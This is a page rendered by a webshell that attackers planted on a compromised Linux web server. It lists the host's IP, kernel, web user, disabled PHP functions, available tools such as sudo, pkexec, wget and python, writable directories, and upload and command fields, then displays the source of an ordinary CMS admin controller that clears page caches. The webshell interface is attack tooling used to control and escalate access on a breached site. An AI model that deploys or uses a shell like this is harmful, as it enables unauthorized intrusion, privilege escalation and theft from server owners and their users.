403Webshell
Server IP : 156.238.232.47  /  Your IP : 216.73.216.150
Web Server : nginx/1.25.3
System : Linux C202504152095410 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : www ( 1000)
PHP Version : 8.3.25
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/data/wwwroot/2026_06_22_01/apps/admin/controller/content/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/data/wwwroot/2026_06_22_01/apps/admin/controller/content/DeleCacheController.php
<?php
/**
 * @author xsh
 * @email hnxsh@foxmail.com
 * @date 2021年10月31日
 *
 */
namespace app\admin\controller\content;

use core\basic\Controller;
use app\home\controller\GetPageController;
use core\basic\Config;

class DeleCacheController extends GetPageController
{

    public function index($type = null, $data = null)
    {
        if ($type || ! ! $type = get('type', 'int')) {
                        
            // 设置基础信息
            $this->setinfo();
            
            // 执行更新过程
            switch ($type) {
                case '1':
                    $this->deleIndex();
					$this->deleSort("0");
                    json(1, '更新更新首页和栏目成功');
                    break;
                case '2':
                    $this->deleSortAll("0");
                    json(1, '更新全部栏目分页成功');
                    break;
				case '3':
                    $this->deleContont($data);
                    json(1, '更新内容成功');
                    break;
                default:
                    json(0, '传递参数错误');
            }
        } else {
            $sort_model = model('admin.content.ContentSort');
            $sort_tree = $sort_model->getSelect();
            $this->assign('sort_select', $this->makeSortSelect($sort_tree));
            $this->assign('sort_select2', $this->makeSortSelect($sort_tree, true));
            $this->display('content/delecache.html');
        }
    }

    // 删除首页缓存
    private function deleIndex()
    {
        $path = '/';
		$lg = cookie('lg');
		$wap = '';
		$cacheFile = RUN_PATH . '/cache/' . md5(get_http_url() . $path . $lg . $wap) . '.html';
		unlink($cacheFile);
		if (Config::get('open_wap')){
		$wap = 'wap';
		$cacheFilewap = RUN_PATH . '/cache/' . md5(get_http_url() . $path . $lg . $wap) . '.html';
		unlink($cacheFilewap);
		}
    }

    // 删除栏目首页缓存
    private function deleSort($scode = null)
    {
		$lg = cookie('lg');
		$wap = '';
        $scode = $scode ?: get('scode', 'var');
        if (! $scode) {
            $scodes = $this->model->getScodes('1,2');
        } else {
            $scodes = $this->model->getSubScodes($scode);
        }
        
        $err = '';
        foreach ($scodes as $value) {
            $sort = $this->model->getSort($value);
            if ($sort) {
                if ($sort->type == 1) {
					$link = $this->parser->parserLink($sort->type, $sort->urlname, 'list', $sort->scode, $sort->filename, '', '');
					$cacheFile = RUN_PATH . '/cache/' . md5(get_http_url() . $link . $lg . $wap) . '.html';
					unlink($cacheFile);
					if (Config::get('open_wap')){
							$wap = 'wap';
							$cacheFilewap = RUN_PATH . '/cache/' . md5(get_http_url() . $link . $lg . $wap) . '.html';
							unlink($cacheFilewap);
						}
                } else {
                    $pagelink = $this->parser->parserLink($sort->type, $sort->urlname, 'list', $sort->scode, $sort->filename, '', '');
                    $page = 10;
                    for ($i = 1; $i <= $page; $i ++) {
                        if ($i > 1) {
                            $path = rtrim($pagelink, '/') . '_' . $i . '/';
                        } else {
                            $path = $pagelink;
                        }						
						$cacheFile = RUN_PATH . '/cache/' . md5(get_http_url() . $path . $lg . $wap) . '.html';
						if (Config::get('open_wap')){
							$wap = 'wap';
							$cacheFilewap = RUN_PATH . '/cache/' . md5(get_http_url() . $path . $lg . $wap) . '.html';
							unlink($cacheFilewap);
						}
						unlink($cacheFile);
                    }
                }
            }
        }
    }
	// 删除全部栏目缓存
	private function deleSortAll($scode = null)
    {
		$lg = cookie('lg');
		$wap = '';
        $scode = $scode ?: get('scode', 'var');
        if (! $scode) {
            $scodes = $this->model->getScodes('1,2');
        } else {
            $scodes = $this->model->getSubScodes($scode);
        }
        
        $err = '';
        foreach ($scodes as $value) {
            $sort = $this->model->getSort($value);
            if ($sort) {
                if ($sort->type == 1) {
					$link = $this->parser->parserLink($sort->type, $sort->urlname, 'list', $sort->scode, $sort->filename, '', '');
					$cacheFile = RUN_PATH . '/cache/' . md5(get_http_url() . $link . $lg . $wap) . '.html';
					unlink($cacheFile);
					if (Config::get('open_wap')){
							$wap = 'wap';
							$cacheFilewap = RUN_PATH . '/cache/' . md5(get_http_url() . $link . $lg . $wap) . '.html';
							unlink($cacheFilewap);
						}
                } else {
                    $pagelink = $this->parser->parserLink($sort->type, $sort->urlname, 'list', $sort->scode, $sort->filename, '', '');
                    $page = 5000;
					$jishu = 1;
                    for ($i = 2; $i <= $page; $i ++) {
                        if ($i > 1) {
                            $path = rtrim($pagelink, '/') . '_' . $i . '/';
                        } else {
                            $path = $pagelink;
                        }
						
						$cacheFile = RUN_PATH . '/cache/' . md5(get_http_url() . $path . $lg . $wap) . '.html';
						if(!file_exists($cacheFile)){
							$jishu ++;
							if($jishu > 100){
							break;
							}
						}
						if (Config::get('open_wap')){
							$wap = 'wap';
							$cacheFilewap = RUN_PATH . '/cache/' . md5(get_http_url() . $path . $lg . $wap) . '.html';
							unlink($cacheFilewap);
						}
						unlink($cacheFile);
                    }
                }
            }
        }
    }


    // 删除详情页面缓存
    private function deleContont()
    {		$lg = cookie('lg');
			$wap = '';
		    $idzuixiao = get('idzuixiao', 'var');
			$idzuida = get('idzuida', 'var');
			for($i=$idzuixiao;$i<=$idzuida;$i++){
			$data = $this->model->getContent($i);
            if ($data) {
                $path = $this->parser->parserLink($data->type, $data->urlname, 'content', $data->scode, $data->sortfilename, $data->id, $data->filename);
				$cacheFile = RUN_PATH . '/cache/' . md5(get_http_url() . $path . $lg . $wap) . '.html';
				unlink($cacheFile);
				if (Config::get('open_wap')){
					$wap = 'wap';
					$cacheFilewap = RUN_PATH . '/cache/' . md5(get_http_url() . $path . $lg . $wap) . '.html';
					unlink($cacheFilewap);
				}
            }	
			}
    }

    // 更新内容栏目下拉选择
    private function makeSortSelect($tree, $ext_about = false)
    {
        $list_html = '';
        foreach ($tree as $value) {
            if (get('scode') != $value->scode) { // 不显示本身,避免出现自身为自己的父节点
                if (($ext_about && $value->type == 1) || $value->outlink != '') {
                    $list_html .= "<option value='{$value->scode}' disabled='disabled'>{$this->blank}{$value->name}</option>";
                } else {
                    $list_html .= "<option value='{$value->scode}' >{$this->blank}{$value->name}</option>";
                }
            }
            // 子菜单处理
            if ($value->son) {
                $this->blank .= '  ';
                $list_html .= $this->makeSortSelect($value->son, $ext_about);
            }
        }
        // 循环完后回归位置
        $this->blank = substr($this->blank, 0, - 6);
        return $list_html;
    }

    // 设置公共信息
    private function setinfo()
    {
        // 设置前台模板路径,避免后端调用问题
        if (($tpl_dir = Config::get('tpl_dir')) && array_key_exists('home', $tpl_dir)) {
            $this->assign('tplpath', ROOT_PATH . $tpl_dir['home']);
        } else {
            $this->assign('tplpath', APP_PATH . '/home/view');
        }
        // 定义当前操作为更新静态,后期动作判断
        define('DeleCache', true);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit